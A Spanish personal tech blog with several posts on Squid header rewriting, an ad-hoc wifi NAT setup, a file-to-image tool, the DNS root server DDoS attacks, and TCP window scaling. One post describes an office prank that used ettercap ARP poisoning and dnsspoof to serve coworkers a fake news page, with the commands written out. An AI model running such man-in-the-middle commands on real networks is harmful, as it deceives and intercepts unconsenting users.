Intypedia

Abril 1st, 2011

Hoy me he encontrado con Intypedia, una enciclopedia visual sobre seguridad. Básicamente es una web divulgativa que expone de manera clara y sencilla conceptos básicos de seguridad. Posiblemente ningún lector de este blog encuentre nada nuevo aquí, pero creo que es un buen sitio al que referenciar a aquellos que nos pregunten sobre estos temas.

Categorías: interesante | 5 comentarios

Navegación anónima con Squid

Enero 15th, 2011

Aquí va una receta rápida para hacer que el Squid elimine todos las cabeceras que podrían contener información sensible como puede ser la IP en la red interna o el tipo de navegador. No debemos confundir esto con lo que generalmente se llama navegación anónima, simplemente estamos eliminando aquellas cabeceras que no queremos que se conozcan, no ocultando nuestra IP real.

Editamos el fichero de configuración del Squid (/etc/squid/squid.conf) y nos situamos en la sección header_replace (en realidad puedes ponerlo en cualquier parte, pero es para mantener un poco el orden del fichero).

Ahora añadimos estas cabeceras cambiando los valores apropiados:

# Sustituye la IP privada por esa que véis ahí, si borráis el header_replace, simplemente la oculta
header_access X-Forwarded-For deny all
header_replace X-Forwarded-For 192.168.108.231

# Oculta la dirección del proxy
header_access Via deny all
header_replace Via 192.168.108.231

# Oculta el tipo de navegador
header_access User-Agent deny all
header_replace User-Agent SecretBrowser/5.0 (Commodore64; en)

# Oculta la página de la que vienes (Referer)
header_access Referer deny all
header_replace Referer unknown

Tras esto sólo queda reinicar el squid y listo. Algunos sitios web os negarán el acceso si ven el Referer vacío, es una medida de seguridad que pretende impedir el acceso de bots.

Es especialmente divertido jugar con el campo  User-Agent, si por ejemplo ponéis la cadena con la que se identifica el IPhone, al acceder a una página que formatee el html para acceso móvil, lo veréis tal y como y lo vería cualquier usuario de IPhone. Éste es el User-Agent del firefox en IPhone, por si os animáis a probar: Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543 Safari/419.3

Categorías: interesante | 4 comentarios

Crear una red wifi ad-hoc para compartir Internet

Octubre 27th, 2010

Tras contratar mi nueva conexión a Internet en Surabaya, me encontré un pequeño problema: un router muy antiguo con sólo un puerto de red. Y esto es un problema porque necesito que mi Nokia 5800 se conecte a Internet, necesito descargarme los mapas para el GPS y actualizar la ubicación de los sitios. El Ovi Maps de Nokia se ha convertido en un amigo inseparable para mí y no iba a dejar que un router sin capacidades wifi me lo arrebatara.

Lo que hice fue lo siguiente, configure una red ad-hoc en el portátil, enmascaré todo lo que saliera de la red hacia Internet (lo que me evita problemas con el router y con el proveedor: me cortan la conexión cuando detectan que dos equipos están usando la misma, vaya usted a saber por qué), instalé un servidor DHCP para dar servicios a la red ad-hoc (esto es opcional, también podéis configurar la IP de manera estática) y… voilá!

Os dejo aquí la chuleta por si encuentra en una situación parecida:
Creamos la  red Ad-Hoc

# iwconfig wlan0 mode ad-hoc essid pepe

Permitimos la redirección de tráfico entre interfaces

# echo 1 > /proc/sys/net/ipv4/ip_forward

Enmascararamos las conexiones de la red wifi hacia la red de cable

# iptables -t nat -A POSTROUTING -s 10.0.0.0/8 -o eth0 -j MASQUERADE

Instalamos servidor DHCP y lo configuramos para que de servicios a la red ad-hoc

# apt-get install isc-dhcp-server
# vi /etc/dhcp/dhcpd.conf

– Añade esto en la sección adecuada  y sustituye los DNS por los correctos —
subnet 10.0.0.0 netmask 255.255.255.0 {

range 10.0.0.10 10.0.0.100;
option routers 10.0.0.1;
option domain-name-servers 20.7.0.8;
option domain-name-servers 20.7.0.5;
}

—-

Ponemos  la ip de la interface ad-hoc
# ifconfig wlan0 10.0.0.1

Y finalmente, reiniciamos el servidor DHCP
# /etc/init.d/isc-dhcp-server restart

Ahora ya podemos conectarnos con cualquier dispositivo móvil a Internet a través de la improvisada red ad-hoc. Un par de cosas, una vez configurado todo de este modo, he intentado conectar un portátil con Windows a la red, pero al parecer Windows ignora el servicio DHCP en redes ad-hoc, así que hay que establecer la IP manualmente.

Otra cosa interesante, el proveedor, en su intento estúpido de no permitir más de una única conexión desde cada cliente, no solo busca IP’s diferentes, si no que también comprueba los cabeceras del navegador en busca de la IP origen. Eso seguramente no os va a pasar a vosotros, pero en mi caso tuve que instalar un Squid para filtrar esas cabeceras.

Ahora ya soy feliz de nuevo, ya tengo mis mapas, actualizo las ubicaciones desde Internet y así sé a donde quiero ir y también me bajo alguna que otra aplicación molona de esas que hay por el Ovi Store.

Categorías: interesante | 11 comentarios

Nueva vida

Octubre 3rd, 2010

Muchas cosas han pasado en mi vida estos últimos meses, demasiadas como para poder contarlas todas. Pero se podría resumir así, me cansé de todo y me fui. Ahora vivo en Indonesia y tengo nuevo blog: http://viviendoenindonesia.wordpress.com/

Espero que os guste.

Categorías: interesante | 3 comentarios

Patrones, imágenes y locuras

Julio 27th, 2010

Hola amigos,

El otro día estaba leyendo 48bits y me encontré con un artículo que me encantó titulado En ocasiones… veo patrones… Básicamente expone que a partir de cualquier fichero, basándonos en su contenido, podemos generar una imagen que podemos usar para detectar, de manera visual, los patrones que contiene.

Así, de un solo vistazo, podemos ver lo bueno que es un generador de números aleatorios, como se reparte la información en un fichero comprimido, o donde se encuentra la parte relevante de un boot loader. El caso es que me gustó tanto la idea que me hice mi propio generador de patrones y me puse a “patronizarlo” todo.

Aquí tenéis la imagen generada por un fichero de textos (baja entropía, colores similares, muchos patrones):

Y está otra es la que me generó un JPG (la parte negra es la dedicada a las cabeceras JPG, en el resto del fichero no se perciben patrones):

Aquí tenéis los patrones de un rar (debido a su alta entropía, prácticamente no tiene patrones):

Luego pensé, “Hey, esto de ver los patrones está genial… pero aún sería mejor volver a generar el fichero original a partir de la imagen”. Total, tengo toda la información que necesito en la imagen, sólo tengo que volver a colocarla en el mismo orden. Así que me puse de nuevo manos a los obra y creé la subrutina de inversión.

Así que sí, podéis coger esas imágenes que he puesto en este post y ver lo que hay en ese txt, esa imagen y ese rar. También podéis generar vuestro propias imágenes y subirlas a cualquier lado bordeando los límites de lo legal… pero es que es tan divertido.

Aquí os dejo un par de ejemplos de uso:

Para generar una imagen:

$ java patronus gen cosas.txt cosas.png

Para recuperar el fichero original a partir de la imagen:

$ java patronus rev cosas.png orig.txt

En la imagen no guardo la extensión original del fichero (aunque podría hacerlo), así que tenéis que saber el formato del fichero original si lo queréis visualizar.

Como está escrito en java, os da igual usar Linux, Windows o Mac, sólo buscad el binario java y ejecutadlo como en el ejemplo en donde se encuentre patronus.class. También os dejo las fuentes para que podáis modificar lo que os parezca (se distribuye bajo licencia GPL).

Por cierto, sé que patronus no es un nombre apropiado para el programa, pero lo escribí yo y lo llamó como quiera (hala, que a gusto me he quedado).

Sed buenos

Descargar patronus.class

Descargar patronus.java

Categorías: interesante | No hay comentarios

Dr. Abuse

Junio 30th, 2010

Estando yo metido en más asuntos de los que puedo llevar, teniendo más problemas de los que puedo manejar y cansado de todo en general… por alguna terrible asociación de esas con las que nos sorprende nuestro cerebro de vez en cuando (y que a todas luces no tiene sentido lógico), recordé aquellos años de universidad en los estudié a Eliza.

A pesar de que el tiempo no es algo que me sobre, se me ha ocurrido hacer un desarrollo en esa línea, bueno, más bien en una paralela (pero eso es otra historia de la que quizás hable otro día). El caso es que mientras me documentaba y buscaba código de referencia, me topé con el Dr. Abuse.

Se trata de una versión española de Eliza con algunas mejoras interesantes, como la capacidad de recordar temas de conversación antiguos.

Probádlo, vale la pena… yo me he reído un rato :)

Descargar el Dr. Abuse

Categorías: interesante | 2 comentarios

La verdad absoluta

Diciembre 30th, 2009

El pasado 28 de diciembre, con motivo del día de los Santos Inocentes, y tal y como marca la tradición, decidí gastar una pequeña broma a mis compañeros de trabajo.

Nada demasiado sofisticado, pero lo suficiente para reírnos un rato. Decidí hacer aparecer en un famoso diario online una noticia que tenía que ver con EREs y que nos afectaba especialmente (muahahahaha).

Pues nada, os resumo rápido para no aburriros más de la cuenta…

1. Creé una copia local del diario

$ wget -r http://famoso.diario.español.es

2. Monté un servidor Apache y alojé ahí la copia

3. Modifiqué la portada para poner la fatídica noticia (algo así como: van a despedirnos a todos)

3. Envenené la caché ARP de todos los equipos locales

# ettercap -Tq -M arp:remote //

4. Y por último, puse a funcionar un ataque de DNS Spoofing

# dnsspoof -i eth0 -f hosts

El fichero hosts contenía la nueva asociación que me interesaba:

172.20.16.195 *.famosodiarioespañol.com

Esto significaba que cada vez que alguien intentara resolver esa dirección, yo le enviaría la IP de mi equipo, de tal forma que sería a mi servidor local a donde accederían.

Resultado final

Ahora en los navegadores de todo el mundo salía mi copia local del famoso periódico con la noticia alterada. El resultado fue el pánico general porque lo que hay en Internet es la verdad absoluta. Podría haber puesto que los alienígenas nos invandían o que el Gran Colisionador había generado un agujero negro estable, da igual lo absurdo o irracional de la noticia, si está en algún sitio enlazado por Google con buen pagerank, debe ser cierta.

Absolutamente delirante.

Categorías: reflexiones | 6 comentarios

fonYou

Noviembre 27th, 2009

Hoy no he podido contener la emoción al descubrir fonYoufijaos si me he emocionado que hasta estoy escribiendo esta entrada. Hace tiempo que no me encontraba con algo realmente nuevo y original, fonYou lo es.

En pocas palabras, se trata de un operador móvil online, cuando te das de alta, te asignan un número de móvil virtual que puedes gestionar desde tu navegador web, igual que gestionas la cuenta del banco.

Este número tiene asociado muchos servicios adicionales, la mayoría de ellos gratuitos y que ofrecen ventajas únicas. Pero mejor ver el video…

Categorías: interesante | 8 comentarios

El día en que Internet fue atacada

Marzo 19th, 2009

Quizás nunca os lo hayáis planteado, quizás nunca creistéis que fuera posible, quizás ni sentistéis los ecos de tamaña batalla… pero lo cierto es que hubo un día en el que toda Internet casi deja de funcionar, fue uno de los ataques más increíbles que jamás se han realizado.

A lo largo de los años de vida de la red de redes no han sido pocos los que han señalado la debilidad de nuestra arquitectura actual de resolución de nombres. Ya sabéis que cuando escribimos en el navegador “www.google.com”, esto debe traducirse a una dirección IP que luego es usada para establecer la conexión. Para realizar este proceso es necesario que nuestro equipo contacte con algún servidor en donde se mapee el nombre “www.google.com” con su IP correspondiente. Obviamente, no existe ningún servidor central en donde todos los nombres estén mapeados con todas las IP, dado el tamaño de Internet y su naturaleza cambiante, eso es simplemente imposible.

Para visualizar la arquitectura de resolución de nombres debemos imaginar una pirámide, en la cima están los servidores raíz, los directores de la orquesta. A ellos siempre podremos preguntarles por el nombre que queramos resolver, pero en vez de darnos la respuesta, nos contestará con la dirección de un servidor de nivel inferior que puede que si la conozca. Ese servidor, si no la sabe, nos contestará a su vez con una dirección de nivel inferior al suyo, y así vamos bajando hasta dar con el servidor de nombres que tiene la información que buscamos. No quiero entretenerme mucho en el protocolo de resolución de nombres (DNS), pero la idea básica es que la información está repartida entre muchos servidores y existen caminos para llegar a ella a partir de los servidores raíz. Como toda arquitectura jerárquica cuenta con el problema clásico de la decapitación, ¿Qué pasa si por alguna razón caen los servidores raíz?  Existen un total de 13 servidores de raíz y muchos expertos coinciden en que las posibilidades de realizar un ataque éxitoso sobre los 13 de manera simultánea y con la duración suficiente para que sea notable son rídiculas. Por otro lado, estos servidores cuentan con medidas extraordinarias de seguridad, además atacarlos no produce ningún beneficio a nadie.

A pesar de todo, a las 20.45 UTC del  21 de Octubre del 2002 comenzó un ataque de denegación de servicio distribuido sobre los 13 servidores de nombres raíz. Cientos de miles de equipos comenzaron a establecer conexiones con estos servidores, cargándolos de trabajo adicional con la intención de impedirles realizar la tarea para la que fueron diseñados. El grueso del ataque se prolongó hasta  las 22.00 UTC, aunque aún siguieron llegando rafagas de paquetes maliciosos hasta la mañana del 22 de Octubre.

Se estima que cada servidor recibió una carga adicional de entre 50 y 100 Mbits/seg. El tráfico involucrado en el ataque iba desde paquetes ICMP hasta paquetes TCP mal fragmentados, pasando por los clásicos TCP SYN o intentos de conexiones UDP. Todas las direcciones de origen eran falsas, por lo que nunca se pudo ubicar a los bots que lanzaron el ataque.

Lo más singular es que fue la primera vez en que se ponía en marcha un ataque simultáneo de tal magnitud, el simple hecho de llevarlo a cabo ya era un reto importante. Otro de los detalles más desconcertantes fueron las motivaciones del atacante… la gloria en los sitios más oscuros del underground es lo único que parece aceptable.

El objetivo del ataque era evitar que los servidores de nombres raíz pudieran responder a las peticiones de resolución de nombres, lo que impediría la comunicación con cualquier máquina de la que no supieramos la IP. Por buscar un símil, si Internet es un gran continente, el ataque lo hubiera fragmentado en pequeñas islas incomunicadas entre sí… o con una comunicación muy limitada. Un desastre… sin negocios globales, sin e-mail… SIN GOOGLE!!! :P (bueno, posiblemente sí que seguiríamos teniendo acceso a Google, al menos durante varias horas después del comienzo del ataque, pero eso es otra historia). El caso es que de haber funcionado, hubiera sido un cataclismo sin precedentes… pero a que no os habéis enterado de que algo parecido haya sucedido, ¿verdad?

A pesar de que el ataque llegó a afectar a 9 de los 13 servidores, sólo fue perceptible por el usuario final como pequeños retrasos al intentar usar ciertos servicios. Esto se debió principalmente a las buenas medidas con las que contaban los servidores raíz para hacer frente a eventualidades como éstas y al buen hacer de los técnicos que intervinieron en esta incidencia: se amplió el caudal de datos, se activaron balanceadores de carga, se pusieron en marcha redes espejos para evitar congestiones en puntos concretos y muchas más medidas adicionales.

Todo quedó en un susto, horas de sueño perdidas y bastante dinero gastado (las contramedidas que se tomaron para mantener el servicio no fueron precisamente baratas). Además sirvió para reforzar aún más la seguridad de estos servidores.

Pero ésta no fue la última vez que se intetó decapitar Internet, el 6 de Febrero del 2007 un nuevo ataque masivo intentaba dejar fuera de servicio a los servidores raíz. A pesar de que este ataque fue mucho más agresivo y gracias a las mejoras introducidas en la arquitectura DNS tras el ataque del 2002, el impacto fue muy limitado, aunque se informó que dos de los servidores raíz habían sido gravemente afectados. Sin embargo, una vez más, el usuario final apenas notó retrasos en las comunicaciones.

Creedme si os digo que todos los días se libran batallas escalofriantes en ésta, nuestra red, sin embargo los hombres de negro velan por nosotros… o eso dicen ellos.

Fuentes principales:

http://d.root-servers.org/october21.txt

http://www.icann.org/announcements/factsheet-dns-attack-08mar07.pdf

Categorías: Cibercriminales, curiosidades | 17 comentarios

El misterioso caso del Linux que iba lento

Febrero 27th, 2009

Desde hace tiempo estoy buscando alguna excusa para instalar mi querido Debian en el ordenador del trabajo. Por fin la excusa llegó de mano de un proyecto muy interesante sobre clusters Red Hat y sistemas de ficheros compartidos. El caso es que tras instalarlo fui tan contento a bajar algunas herramientas que necesitaba vía apt-get. No podéis imaginar mi sorpresa cuando la velocidad de descargar no superaba los 6KB, más o menos la velocidad a la que iba mi antiguo modem, allá por el principio de los tiempos.

Me digo, ¡No puede ser! Windows va estupendamente y nadie se queja, así que tiene que ser cosa del repositorio APT, voy a probar otro mirror.  Pues no, todos iguales.

¿Me afectará también a la hora de navegar? Pues sí y no. En algunas páginas va genial y en otras se arrastra. Que cosa más rara.

Quizás es algún bug que hay en este kernel tan nuevo, mañana traigo el portátil de casa y comparo. Y lo traje y vi asombrado como mi portátil no superaba los 6KB.  También llevé el equipo del trabajo a casa y vi como la velocidad de descarga no bajaba de los 200KB.

Ajá, hay algo en la red del trabajo que le está haciendo la puñeta a mi pobre Linux y que dejá a los Windows tan tranquilos. Esto en sí mismo es bastante raro, pero ya puestos me puse a trastear con switches y routers. Mmmmm… todo parece correcto.

¿Y que dice Google? Seguro que ya ha habido muchos casos como éste antes. Y sí, efectivamente ha habido muchos casos como éste. Búsquedas tan originales como linux internet lento o simpelmente internet lento arrojan miles de resultados. Algunos coinciden exactamente con mi problema, sin embargo las soluciones que ofrece la comunidad son del estilo: revisa el cable, formatea el equipo o desfragmenta el disco. Es más, este problema no se limita sólo a los Linux, hay otros S.O. como Windows Vista que también lo sufren.

Pero…

¿Por qué en casa va bien?

¿Por qué con algunos servidores no hay problemas?

¿Por qué me pasa a mi esto (y a los demás no)? Es inevitable pensar que somos las personas más desgraciadas del universo…

Vale, habrá que tomarse las cosas con calma, ¿Qué sabemos?

* Es un problema que ocurre en la red del trabajo, por lo tanto hay algún elemento de la misma que está haciendo algo que no debe.

* Por los resultados de la búsqueda podemos deducir que es un problema que afecta a S.O. relativamente recientes.

* No todas las comunicaciones están afectadas (esto sí que es condenadamente raro)

Armado con mi wireshark sigo haciendo pruebas y descubro que el problema sólo parece darse con conexiones TCP. Ya la cosa tiene más sentido. Quizás alguna optimización de la pila TCP que se ha incluido en los nuevos núcleos y no es bien vista por equipos de comunicaciones antiguos. Ahora que ya sé lo que estoy buscando vuelvo a Google y no tardo en encontrar el RFC1323 y los problemas que tienen alguno routers con él. Voy a resumir un poco para no aburriros demasiado…

El RFC1323 es una extensión al protocolo TCP para resolver un problema conocido como TCP Window Scaling. Uno de los campos del protocolo TCP, llamado window, especifica la cantidad de datos que esta preparado a recibir el sistema que envía el paquete. De esta manera comunicamos al otro extremo como estamos de carga y lo que estamos dispuesto a procesar, es el mencanismo de control de flujo básico de TCP.

El campo window tiene una longitud de 16bits, lo que implica que podemos especifar una ventana máxima de 64Kb, en aquellos tiempos en los que se diseñó el protocolo era un tamaño ridículamente exagerado, hoy en día es un tamaño ridículamente limitado. Así que en el 92 salió a la luz el RFC1323 en el que se especificaba una manera de acabar con esta limitación.

Lo solución que se dió es la siguiente, se incluye un campo de opciones TCP llamado scale.  El valor de este campo multiplicado por el valor del campo window especifica el tamaño real de la ventana TCP (para los puristas: no se realiza una multiplicación, sino un desplazamiento hacia la izquierda de bits). Así pues, de esta manera tan sencilla se había acabado con el problema de ventanas TCP demasiado pequeñas.

Ahora bien, había otro problema que solucionar. No todos los sistemas tenían que implementar esta optimización y aún así todos deberían poder seguir comunicándose entre sí. Se decidió que la mejor manera de solucionar esto era negociarlo durante el 3-way-handshake (SYN/SYN+ACK/ACK). Si un sistema desea usar las optimizaciones del tamaño de ventana, manda en el paquete SYN la opción TCP adecuada con la escala que considere oportuna, si el sistema destino soporta la optimización, devolverá en el paquete SYN-ACK esta opción, si no siemplemente elminará la opción del paquete de vuelta, que es la forma estándar de proceder en el caso de ignorar el significado de una opción TCP. La limitación de esta negociación es que el tamaño de la ventana permanece constante durante toda la sesión TCP, un mal menor.

Y ahora el problema, algunos routers y firewalls, como medida de “seguridad”, cuando ven alguna opción TCP que no reconocen la ponen a 0, lo que claramente viola el estándar: o bien se quita el campo de opción completo o bien se ignora su contenido, pero alterarlo de esa manera sólo puede producir problemas. Veamos lo que pasa, nuestro Linux que soporta la optimización del RFC1323 pone el campo scale como opción TCP. Nuestro router no ve con buenos ojos esa opción que no reconoce y la pone a 0. El sistema final, que también soporta el RFC1323 hace los calculos para una escala de 0 y devuelve el SYN+ACK con esta opción activa. El resultado es una confusión en el tamaño de ventana que hay que utilizar. Los problemas que esto genera van desde una comunicación extremadamente lenta o la pérdida total de comunicación. Por otro lado, si el sistema final no soporta las optimización, el campo scale es ignorado y eliminado del paquete de vuelta, y se usa el antiguo método de control de flujo, por lo que todo va estupendamente bien. De ahí que con algunos sistemas dé problemas y con otros no.

SOLUCIÓN

El workaround es desactivar esta optimización, en Linux esto lo puedes hacer así:

echo 0 > /proc/sys/net/ipv4/tcp_window_scaling

Lo que cambiará esta opción hasta el próximo reinicio de la máquina, para dejarlo fijo añade la siguiente línea al /etc/sysctl.conf:

net.ipv4.tcp_window_scaling = 0

Para Windows Vista tienes una guía paso a pasa en el siguiente enlace:

http://www.tech-recipes.com/rx/1744/vista_tcp_cannot_communicate_primary_dns_server/

Si alguno se ha quedado con ganas de más, podéis ampliar información en: http://lwn.net/Articles/92727/

Categorías: curiosidades, interesante | 19 comentarios